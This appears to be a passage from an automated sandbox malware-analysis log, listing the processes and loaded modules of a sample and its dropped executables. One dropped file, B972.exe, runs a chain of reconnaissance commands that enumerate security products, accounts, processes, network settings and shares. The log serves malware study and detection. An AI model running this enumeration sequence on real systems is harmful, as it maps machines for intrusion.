Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Process created: C:\Windows\System32\cmd.exe cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /displaydns
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /v /fo csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net accounts /domain
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 accounts /domain
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net share
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 share
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\35DB.exe C:\Users\user\AppData\Local\Temp\35DB.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B972.exe C:\Users\user\AppData\Local\Temp\B972.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Process created: C:\Windows\System32\cmd.exe cmd	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /displaydns	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /v /fo csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net accounts /domain	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net share	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 accounts /domain
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 share
Source: C:\Windows\System32\net.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jghruer	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jghruer	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jghruer	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jghruer	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdhruer	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdhruer	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdhruer	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdhruer	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: winscard.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B972.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll
